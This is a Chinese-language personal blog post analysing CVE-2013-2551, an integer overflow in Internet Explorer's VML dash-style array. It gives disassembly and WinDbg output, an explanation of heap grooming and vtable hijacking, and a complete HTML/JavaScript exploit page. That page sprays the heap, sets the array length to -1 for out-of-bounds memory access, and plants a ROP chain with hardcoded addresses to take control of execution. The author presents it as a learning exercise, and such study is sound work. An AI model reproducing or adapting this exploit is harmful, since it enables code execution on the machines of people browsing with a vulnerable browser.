zerons's Blog

For The Dream

CVE-2013-2551

zerons posted @ 2015年6月18日 22:34 in sec , 7825 阅读

刚开始学着windows下面的安全分析, 对IE也不是很熟悉, 第一个是

http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php

 

单看文中列出的汇编代码, 能够很容易明白, 自己动手在真实环境中找的时候, 就遇到很多小问题了

ida中对vgx.dll的反汇编没有符号表, 所有函数都是sub_XXXXXX的. 这个需要下载符号表, 起初以为符号表只有在windbg下面才用得着的...  https://msdn.microsoft.com/en-us/windows/hardware/gg463028.aspx   下载对应系统版本的符号表,, 然后在反汇编器或者调试器中加载即可

 

在 windbg中加载IE, 一直找不到自己想要的模块, vgx.dll. 把windbg附加到ie进程的时候, 发现有两个ie进程, 加载到其中一个自己打开的页面的进程上, 结果还是一样. windbg对ie的c0000005异常都没有中断.在这点上花了些时间, 直到我开始把windbg附加到两个ie进程中的另外一个的时候, 结果才发生变化. 我猜, 之前那个显示的是自己打开的页面的进程只是用户界面吧.

 

漏洞成因:在COALineDashStyleArray::put_length中存在整数溢出,

mov     esi,dword ptr [ebp+0Ch] ss:0023:026fa908=ffffffff, 即0-1
mov     esi,dword ptr [ebp+0Ch]
mov     edx,eax
cmp     edx,esi
jge     vgx!COALineDashStyleArray::put_length+0xb5 (7030b8ac)
;符号比较, esi为0xffffffff, 即为-1, edx为当前的大小, 条件成立, 跳转

mov     eax,dword ptr [ebp+8]
mov     ecx,dword ptr [eax]
sub     edx,esi   ;edx为当前大小, esi为新大小, 此时edx为差值
push    edx
push    esi
push    eax
call    dword ptr [ecx+28h]   ;{vgx!ORG::DeleteRange }

jmp     vgx!COALineDashStyleArray::put_length+0xcc (7030b8c3)

vgx!ORG::DeleteRange调用MsoDeletePx, 后者继续调用vgx!MsoFRemovePx来修改对象大小

sub     word ptr [ebx],si ;此时si为之前相减得到的差值, ebx地址的值为当前大小

0:006> dc ebx
06e7e62c  002c002c
0:006> r esi
esi=0000002d

上面作差, 修改当前大小为0xffff(短整型)
0:006> dc ebx
06e7e62c  002cffff

数组结构的04-05两个字节是数组的大小, 0x10处的是数组起始地址.

0:006> r eax
eax=06e7e628
0:006> dc 06e7e628
06e7e628  702aca10 002c*002c* 00040004 00000101
06e7e638  *06ea48c8*

0:006> dc 06ea48c8
06ea48c8  00000001 00000002 00000003 00000004  
06ea48d8  00000005 00000006 00000007 00000008  
06ea48e8  00000009 0000000a 0000000b 0000000c

将数组大小变更为0-1时, 成功改写数组大小为0xffff, 但是数组并未重新分配. 于是能通过get_item和put_item来读写数组本来大小之外的字节. 这样, 只要能在ORG数组后面布置相应的其他的对象, 就可以改写其中的内容.

 

vml.dll 中, COARuntimeStyle对象(大小为0xAC实际分配0xB0)的put_marginLeft和get_marginLeft分别用来设置和获 取这个对象的marginLeft属性, 并在对象的0x58偏移处存放这个属性的指针marginLeftAddress. 这个指针指向用户设置的marginLeft字串.

如果这个对象正好在ORG数组之后, 就可以通过ORG数组偏移为0x2c(原来的数组大小)+0x2(后面对象的头)+0x58/4来访问或者设置marginLeft指针. 通过在堆中大量申请这样的对象(大小为0xB0), 可以让某个COARuntimeStyle正好在ORG数组(大小也为0xB0)后面. 于是, 可以读取内存中任意地址的内容.

 

vml.dll中的另外一个对象, COAReturnedPointsForAnchor, 通过_anchor属性来创建,也是存放在堆中的, 大小为0x10. 它的第一个位置放置了指向一个函数表的指针. 运用上面的方法同样可以布置一个这样的对象在ORG数组后面, 并且改写这个指针. 当这个对象被释放时, 指针指向的函数表中的函数会被调用

MSHTML!ClearInterfaceFn:
mov     edi,edi
push    ebp
mov     ebp,esp
mov     ecx,dword ptr [ebp+8]
mov     eax,dword ptr [ecx]
mov     dword ptr [ecx],0
test    eax,eax
jne     MSHTML!ClearInterfaceFn+0x14 (60096064)

60096064 8b08            mov     ecx,dword ptr [eax]
60096066 50              push    eax
60096067 ff5108          call    dword ptr [ecx+8]

eax指向COAReturnedPointsForAnchor对象, 第一个位置为我们设置的任意地址, 在60096067处调用这个地址偏移0x8处的函数, 这样就控制了执行流程.

 

vml1控制marginLeft, shape控制COAReturnedPointsForAnchor,

因 为在执行流程更改的时候, eax指向shape对象(它后面的内容是我们可以修改的), 于是在marginLeft属性中放置一个ROP(xchg esp, eax; pop; pop; pop; ret)即可让流程转向shape对象的内存中的ROP, 我用了一个MessageBox函数(测试用的硬编码, 偶尔成功sad),

<html>

<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>

<title>CVE-2013-2551 test</title>

<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

<script>
var rect_array = new Array()
var a = new Array()

function createRects(){
    for(var i=0; i<0x800; i++){
        rect_array[i] = document.createElement("v:shape")
        rect_array[i].id = "rect" + i.toString()
        document.body.appendChild(rect_array[i])
    }
} 

function crashme(){
    var vml1 = document.getElementById("vml1")
    var shape = document.getElementById("shape")

    for (var i=0; i<0x400; i++){        
        a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
    }

    for (var i=0; i<0x400; i++){
	a[i].rotation; 

	if (i == 0x300) { 
	    vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 
42 43 44"
        }
    }

    for (var i = 0x400; i < 0x800; i++) {
        a[i] = document.getElementById("rect" + i.toString())._anchorRect;
        if (i == 0x700) {
            shape.dashstyle = "1 2 3 4"
        }
    }

    vml1.dashstyle.array.length = 0 - 1 
    shape.dashstyle.array.length = 0 - 1

    for (var i=0; i<0x400; i++) {
        a[i].marginLeft = "\u1b4e\u7755\u6161\u6161\u76b3\u7756\ue3db\u76c4\uf4f3\u7539\u0000\u0000\ud0ef\u7755\ud10a\u7755\u0001\u0000"
        marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); 

        if (marginLeftAddress > 0) {
            shape.dashstyle.array.item(6)=marginLeftAddress;
	    shape.dashstyle.array.item(9)=0x76c4e3db;
	    shape.dashstyle.array.item(10)=0x7539f4f3;
            shape.dashstyle.array.item(11)=0;
	    shape.dashstyle.array.item(12)=0x7755d0ef;
            shape.dashstyle.array.item(13)=0x7755d10a;
            shape.dashstyle.array.item(14)=0;
            break;
        }
    }
    delete a[701];
}
</script>

<body onload="createRects();">

<v:oval>
<v:stroke id="vml1"/>
</v:oval>

<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>

<input value="crash!!!"type="button" onclick="crashme();"></input>

</body>

</html> 

 

对html js都不太了解, POC代码经过修改, 来自

http://zenhumany.blog.163.com/blog/static/1718066332013113135917853/

 

其他参考: http://www.cnblogs.com/Danny-Wei/p/3766432.html


登录 *


loading captcha image...
(输入验证码)
or Ctrl+Enter